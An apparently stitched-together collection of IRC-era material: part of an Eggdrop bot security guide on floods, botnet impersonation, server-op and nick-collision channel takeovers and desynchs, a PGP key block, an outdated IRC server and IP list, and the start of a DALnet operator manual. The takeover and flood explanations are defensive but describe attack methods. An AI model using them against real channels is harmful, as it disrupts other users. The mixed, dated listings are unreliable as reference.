If an intruder knows your botnet structure he can try to get a shell on a server where one of your bots sits on (public shell provider for example). In the next step the intruder somehow manages to get your bot down and connects as-your-bot to the botnet. Since one bot doesn't has a password set, both set a new password. A faked bot is in your botnet now. The situation can get even worse if the new/old bot is allowed to pass changed userdata to the other bots.

The same effect can be reached with spoofed IP adresses. 

The problem is known to eggdev, take a look at Eggheads Bugzilla 

Flood Attacks

There are two ways to flood somebody off irc.

The first method abuses the limit on how much information a client can send at one time to a server. If this limit is exceeded, the irc server disconnects the user (excess flood). An attacker can flood you for example with various CTCP requests from different clients to which the victim answers...too much load. Please note that Eggdrop 1.5 does not 'Excess Flood' anymore since penalty calculation was included to limit responses by the bot to the server.

The other method uses the time limit in which a client has to send a life sign to the server in order not to get disconnected (ping timeout) from it. The attacker 'fills' the bandwidth of the victim.

For both attacks troublemakers can use different flood types, sometimes even some combined. I'll present the IRC Floods here, but there is also the PING Flood, Resolve DNS Flood or Port Flood. 

IRC Flood

CTCP Flood

CTCP Floods are very successful, since you can make nearly every client respond to a large number of CTCP requests from different hosts. Those kinds of attacks are especially successful, if an attacker uses a 130byte ECHO CTCP request. The only protection against this attack is a very strict CTCP flood and answer setting. 

Trigger Flood

Trigger floods are similar to CTCP Floods, since they make the bot send something back (e.g. !seen). Normally tcl scripts or modules open such triggers and coders often don't think about flood protection, so you have to code it manually in.

Don't forget about it, since it can be a serious danger for your bot. 

Text Flood

Text floods are very difficult, since channel flood protection works most of time and flooder are ignored & banned from channel before they can do any damage. 

Notice Flood

Due to the very good flood protection of Eggdrop, notice floods are ignored very quickly. 

Nick Flood

Nick flood occur when a flood-net often changes its nicks. This kind of flood was very popular for some time, since Eggdrop didn't have any protection against it. Modern versions of Eggdrop can cope with it without problems. 

Join/Part Flood

Join/Part floods are similar to nick floods, but since Eggdrop supports them nowadays, they're only annoying, but nothing more. 

PING Flood

A ping flood is an attack on the machines of your bots or ops. The principle of this flood is easy; they try to fill the bots bandwidth so that he'll start to lag and finally exit irc with a ping timeout. 

Resolve DNS Flood

Up to version 1.5.0 Eggdrop halted on dns lookups. This could lead to opless channels, since many dcc requests or ident / telnet connections could halt the Eggdrop completely or lead to a ping timeout.

An asynchronous dns module, which prevents the bot from hanging, was introduced in 1.5.0. 

Port Flood

Port floods result in many connections to the telnet port of an Eggdrop. Too many connections at once can confuse Eggdrop in a way that it may loose incoming valid connections from users or bots. This bug was fixed in Eggdrop 1.5.2. 

Server Attacks

Server OP

In original ircd code, there was a possibility to enter a channel with op using a splitted server. The offender just entered the channel and got automatically +o (since it was empty...). During the server reconnect, his +o was published through the net and he had full right.

Later on in ircd channels were re-opened only after a 30 minutes split to public again. Other network use things like TS or have found other ways to solve this server op problem.

Nonetheless, server op is still a problem in IRCNET, also there're already plans to change this in future (http://akson.sgh.waw.pl/~chopin/uniqueID.txt). 

The only way to get around this problem is to have a bot on every irc server or at least on the server hubs. 

Nick Collision

The availability of a nick during netsplit on both ends is delayed for about 30 minutes. After this time, the nick is available again. If it's taken on both sides of the split and the servers reconnect again, both nicks (clients) are disconnected from irc.

Sometimes nick collision and server op are combined on netsplit and your bots are kicked out from irc while a bot enters with server op. See the Nick Collision & Server OP attack example section for more details. 

Desynch

Desynch stands for desynchronization and is pretty self explaining. Two (ore more) servers don't think the same about a channel. Desynchs can be caused by mode collisions. For example, if A deops B and B deops A in the same time (or one server is lagging) on different servers, both servers will have other ops.

Desynch can't be really avoided, but sometimes you can synchronize the servers again (mass op, etc.). Really bad desynchs require a complete channel restart...(everybody has to part) 

Takeover Examples

Nick Collision & Server OP

Scenario: GoodBotA, GoodBotB and GoodBotC are bots in #foo. BadBotA, BadBotB, BadBotC and BadBotD are evil takeover bots. There's a Netsplit between *.fi and the rest of the net. Bad bots A-C took nicks of Goodbots A-C. A net rejoin happens. 

GoodBotA (GoodBotA@BotA@good.guys.net) left irc: Killed (irc.cs.hut.fi ((GoodBotA@good.guys.net)*.se <- (+BadBotA@bad.guys.net)ircd.funet.fi))

GoodBotB (GoodBotB@BotA@good.guys.net) left irc: Killed (irc.cs.hut.fi ((GoodBotA@good.guys.net)*.se <- (+BadBotC@bad.guys.net)ircd.funet.fi))

GoodBotC (GoodBotC@BotA@good.guys.net) left irc: Killed (irc.cs.hut.fi ((GoodBotC@good.guys.net)*.se <- (+BadBotB@bad.guys.net)ircd.funet.fi))

BadBotD (BadBotD@bad.guys.net) joined #foo

#foo: mode change '+o BadBotD' by irc.funet.fi

All three good bots were killed by nick collision and the fourth bad bot took #foo by server op. It can wait now for the other bots to return to irc and give them op. 

Desynch

Scenario: BotA on ServerA and BotB on ServerB, both bots in #foo 

BotA sets mode: -o BotB      |   BotB sets mode: -o BotA

ServerA -> ServerB           |   ServerB -> ServerA

Time passes as information travels through cyberspace
ServerB rejects deop from    |   ServerA rejects deop from

BotA, since BotB deoped BotA |   BotB, since BotA deoped BotB

ServerA: @BotA, BotB

ServerB: BotA, @BotB

Since both bots send the deop at the same time and it takes a given amount of time to reach the other server, the appropriate deoping bot is already deoped at the respectively server. ServerA and ServerB have now two different views at #foo. Desynch is achieved mostly by mass modes which collide usually with the retaliatory action of other bots.

Desynchs can go that far that two Server don't agree on user count or channel modes. 

PGP encryption key:-

-----BEGIN PGP PUBLIC KEY BLOCK-----

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

0xgSK6WRIAZH3ZuYa1H/8yrv7dHr

=q1TW

-----END PGP PUBLIC KEY BLOCK-----

IRC CHAT SERVERS:-

NOTE:-IF NONE OF THE BELOW WORKS, THIS IS DUE TO OLD SERVER FILE.

AUSTRALIAyoyo.cc.monash.edu.au

130.194.9.1

6667,6668,6680

irc.usyd.edu.au


129.78.64.1

6665-6668flute.telstra.net.au

139.130.4.2

6667

AUSTRIAirc.wu-wien.ac.at

137.208.127.3

6666-6669

atnet.irc.at


194.152.167.118

6667hb.irc.at


193.186.168.179

6666,6667

leoben.irc.at


192.82.157.120

6666,6667telecom.irc.at


194.118.26.68

6667

BELGIUMirc.belnet.be


193.190.198.27

6667,6668

ircd.belnet.be


193.190.198.19

Routing server

irc.vub.ac.be


134.184.49.2

6667irc.skybel.net


195.238.2.9

6667,5556

CONGO REPUBLIC (ex Zaire)irc.nic.cd


194.38.74.11

6667CZECH REPUBLIC

irc.cis.vutbr.cz

147.229.245.10

6667,3333

irc.felk.cvut.cz

147.32.80.15

6666,6667,1024

irc.vsp.cz


195.113.118.2

6666,6667,1024DENMARK

sunsite.auc.dk


130.225.51.30

6667irc.dknet.dk


193.88.44.33

6666,6667

ESTONIAirc.estpak.ee


194.126.101.101

6666-6669irc.ut.ee


193.40.5.124

6667

FINLANDirc.clinet.fi


194.100.0.6

6667ircd.eunet.fi


192.26.119.4

6667

* irc.funet.fi


130.230.1.72

6660-6669,17283

ircd.funet.fi


193.166.0.132

Routing server

myntti.helsinki.fi

128.214.205.15

6667irc.cs.hut.fi


130.233.192.23

6667

irc-2.cs.hut.fi


130.233.192.44

6667irc1.inet.fi


192.89.123.15

6667

irc.jyu.fi


130.234.49.21

6667irc.kolumbus.fi


193.229.0.203

6667

irc.lpt.fi


193.166.64.18

6667aapo.it.lut.fi


157.24.11.60

6665,6667

kannel.lut.fi


157.24.10.8

6667irc.netppl.fi


195.242.208.11

6667

irc.oamk.fi


193.167.107.253

6667irc.oulu.fi


130.231.240.7

6667,6668

* irc.pspt.fi


195.148.207.110

6667,6668irc.sci.fi


195.74.0.36

6667

irc.sgic.fi


195.10.139.52

6667irc.info.tampere.fi

194.157.231.11

6667

sun.info.tpo.fi


195.236.186.12

6667irc.koti.tpo.fi


195.119.68.34

6667

irc.turkuamk.fi


193.166.133.11

6667irc.atm.tut.fi


130.230.23.6

6665-6667

irc.utu.fi


130.232.1.30

6667irc-gw.xgw.fi


193.210.10.128

6667

irc.teliafi.net


195.10.132.68

6660-6669FRANCEirc.emn.fr


193.104.34.37

6667

irc.enst.fr


137.194.168.29

6666,6667irc.eurecom.fr


193.55.112.8

6667

sil.polytechnique.fr

192.48.98.14

6666,6667,7000

salambo.enserb.u-bordeaux.fr
147.210.18.15

6666,6667

irc.insat.com


194.51.149.1

6667irc.grolier.net


194.158.96.45

6667GERMANY

irc.fu-berlin.de

160.45.10.24

6665-6669irc.gmd.de


129.26.160.35

6665-6669

irc.netsurf.de


194.163.252.20

6667irc.tu-ilmenau.de

141.24.101.9

6667,7777

irc.informatik.tu-muenchen.de
131.159.0.252

6667

* irc.uni-erlangen.de

131.188.2.10

6665-6669

irc.rz.uni-karlsruhe.de

129.13.99.10

6667

irc.uni-paderborn.de

131.234.10.2

6666,6667,8080

* irc.uni-stuttgart.de

129.69.1.17

6664-6669,7000GREECE

irc.forthnet.gr


193.92.150.13

6664-6669

irc.ee.auth.gr


155.207.19.200

6666,6667HUNGARY

irc.bme.hu


152.66.116.1

6666,6667,6669

irc.internetto.hu

194.149.0.76

6667,6669irc.sote.hu


193.225.82.68

6666,6667

ICELANDirc.isnet.is


194.144.254.60

6666,6667ISRAEL

irc.tau.ac.il


132.66.16.5

6661-6668,31337

irc.technion.ac.il

132.68.1.13

6667ircd.ibm.net.il


192.115.72.164

6665-6667

ITALYirc.ccii.unipi.it

131.114.28.21

6666,6667

irc.tin.it


194.243.154.57

6665-6669

irc.flashnet.it
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Chapter 1.  INTRODUCTION

========================

  This guide, "The New DALnet Operator's Manual", is not only meant for new

DALnet operators.  Rather, it is meant as a full manual for all opers, both new

and experienced.  The "New" in the name was added because this text is a

complete re-write of the original "DALnet Operator's Manual" by Dairenn.

  I hope this document will be informative and provide a lot of help for you

as an IRC operator on DALnet.  I've tried to make it as complete as possible,

which is why the text is so long.  I've also tried to write it in such a manner

that the guidelines wouldn't get obsolete and grow old as changes happen, but

it is inevitable that this happens over time, so you shouldn't ever rely on

JUST this manual for instructions.

  Let me know if you have any comments, questions, find misinformation or

typos, or anything else you want to say.  I'd especially like to hear of

missing topics and subjects which aren't explained clearly enough.  Send

comments by email to wizzu@dal.net, or you could talk to me on DALnet or send

a memo.

  - Wizzu

  1.1  PREFACE

  ------------

  Congratulations and Welcome to the DALnet Team!

  You have been selected by the Server Administrator of a DALnet IRC Server to

be an IRC Server Operator!  Because of this, it is assumed that you already

have a working knowledge of most common IRC commands and concepts and a full

understanding of DALnet Services commands (if not, don't be afraid to ask).  In

all likelihood, you were selected to be an IRC Server Operator due to your

dedicated assistance of users in need of help (specifically in the DALnet

recommended help channels), because your attitude is helpful, friendly and you

are patient, and finally, due to your interest in the success of DALnet and the

wish to make it the best possible IRC network.

  This manual will tell you about the things you need to know to be a good

DALnet IRC operator.  The information given here is written as general operator

guidelines on DALnet.  IRCops must answer to their admin, and because of that,

where these rules conflict with instructions you have been given by your admin,

you should listen to your admin.

  1.2  HOW TO READ THIS MANUAL

  ----------------------------

  This manual is divided into the preface (this chapter) which has the

introduction and tells you about DALnet history and features, the technical

part which tells you about the new commands and IRC features available to you

as an IRC operator (chapters 2 to 5), and the social part which gives advice on

being an IRC operator on DALnet (chapters 5 to 8).  If you feel that this text

is too long to read, it could help to read it one part or even one chapter at a

time.

  The text here has been written to be read (and printed) using a fixed-width

font.  If you use a non-fixed width font, the diagrams in the document will

likely be unreadable, but there will probably be no other problems.

  1.2.1  IF YOU ARE A NEW IRC OPERATOR

  ------------------------------------

  There is a lot of information given here, and you are not expected to learn

everything at once!  Also, please do refer back to this manual at a later date

if you are unsure about something, the document has been designed to be used as

a reference too.

  This manual might include some instructions for things you already know how

to do.  Please browse through these parts as well, since there could be new

features or details you have yet to be aware of.  As an operator, you are

generally expected to have a fair understanding of the topics explained here.

  Finally, keep in mind that experience is the best teacher.  Everyone learns

by doing!  This guide will explain a lot of things, but it's no substitute for

experience.

  1.2.1  IF YOU ALREADY HAVE EXPERIENCE AS AN IRC OPERATOR

  --------------------------------------------------------

  This manual probably has instructions for quite a few things you already know

how to do.  You may skip these parts, but it might be worth your while to also

skim through them as well, since there could be new features or details you

aren't aware of yet (as an operator, you are generally expected to have a fair

understanding of the topics explained here).  Another approach would be to read

the table of contents and only read those sections which you feel you are

unfamiliar with.

  If your oper experience is on another network and not DALnet, I do suggest

reading or at least browsing through all of this manual.  There are a lot of

things which are specific to DALnet (some commands, policies, guidelines).

  You may also use this document as a reference manual, checking things only

when you need to know something specific.

  1.3  IRC AND DALNET HISTORY

  ---------------------------

  IRC was created in 1988.  It was originally written by Jarkko Oikarinen,

but since then many other people have contributed to its existence.  As you

might already know, IRC stands for "Internet Relay Chat".  The "original IRC",

EFnet (or "Eris-Free Network") was started in 1988, about when IRC first began,

and it is the currently largest and oldest IRC network in existence.

  As an alternative to this popular, but chaotic and sometimes frustrating

medium, a new IRC network called the Undernet was formed in 1992, with servers

in the United States, Canada, Australia, and Europe.  In July 1996, the EFnet

split into two, with servers in North America forming the new EFnet and rest of

the servers - mostly in Europe - forming a new network called IRCnet.

  The Undernet has attempted to get rid of channel chaos and constant problems

of takeovers and op wars by setting up what is known as the CService.  It tries

to get rid of the problems caused by a large proportion of users running bots

to protect against takeovers and to manage the channel.  This service allows

users to register channels with the W or X bots to protect them against

troublemakers, as well as to permanently register channel settings and

attributes such as the channel mode or topic.

  In addition to the idea of a channel service, the Undernet stands out in the

area of ircd (IRC daemon, the IRC server program) developement.  Numerous small

and some significant changes were made to give more information to the users,

help the operators in server and network management and to make the network

operate better.

  In the summer of 1994 DALnet was founded, by Dalvenjah FoxFire and his

friends MirclMax, Morpher and Lefler.  These people realized that IRC could be

free from the havoc of EFnet and started a network of their own.  At first, the

Undernet versions of ircd was used.  New and original improvements were added

later by the DALnet people such as Lefler at first, and Russell, Aetobatus and

Donwulff later developing the program further.  The DALnet ircd is currently

maintained and developed by the DALnet Coding Team, with many others

contributing through the dalnet-src@dal.net mailing list.  The DALnet server

source code can be downloaded from ftp.dal.net, in the directory

/dalnet/server (at the time of writing this the current version is

dal4.6.5.DreamForge).

  The first Windows and Macintosh IRC clients started to appear and gain

popularity in 1995.  Before this, IRC had been almost exclusively populated

with unix clients, ircII as the most common one.  DALnet was listed at the

top of the default server list for the popularity gaining Windows client called

mIRC, and as a result many curious newcomers to IRC wandered to DALnet.  This

was one of the reasons why DALnet started to became popular during the later

half of 1995.  During the summer of 1995 the "highest max client number" (ie.

the highest number of IRC clients on at the same time) had been just over a

hundred -- during the late fall, it breached 1,000 and kept skyrocketing.  The

10,000 max client count was reached during late 1996, and 20,000 about a year

later.  The client count has been on a steady rise for a long time and so far,

there have been no signs of that ending.

  What makes DALnet prominent is that it was the first, and currently the only

large IRC network featuring advanced user services (NickServ, ChanServ and

MemoServ).  Coded originally early in 1995 by Morpher and going online at

roughly the same time as Undernet's CService, the DALnet services allow users

and operators alike to enjoy the luxury of nickname and channel ownership via

NickServ and ChanServ, respectively.  The addition of MemoServ has made the IRC

/note command obsolete.  Services (the collective name for NickServ, ChanServ,

MemoServ, HelpServ and OperServ) works well because all communications between

it and the user are handled by the pseudo-server services.dal.net, which is

designed to connect to the network hubs for its uplink, and thus allowing for

a more efficient system to monitor the network than traditional bots.

  Services is property of DALnet, and is not in use on any other network.

DALnet's Services has been widely imitated and because of this other networks

may have similarly styled services, but they have been developed independently

after DALnet's example.  Services are currently maintained by the DALnet

Services team.

  1.4  DALNET FEATURES

  --------------------

  There have been numerous small and some major improvements to DALnet's ircd.

Some of these are visible changes to users, while others are of significance

only to operators or even manifest only as better server and network

performance.

  Among the user visible features are: a 30 character limit on nicknames

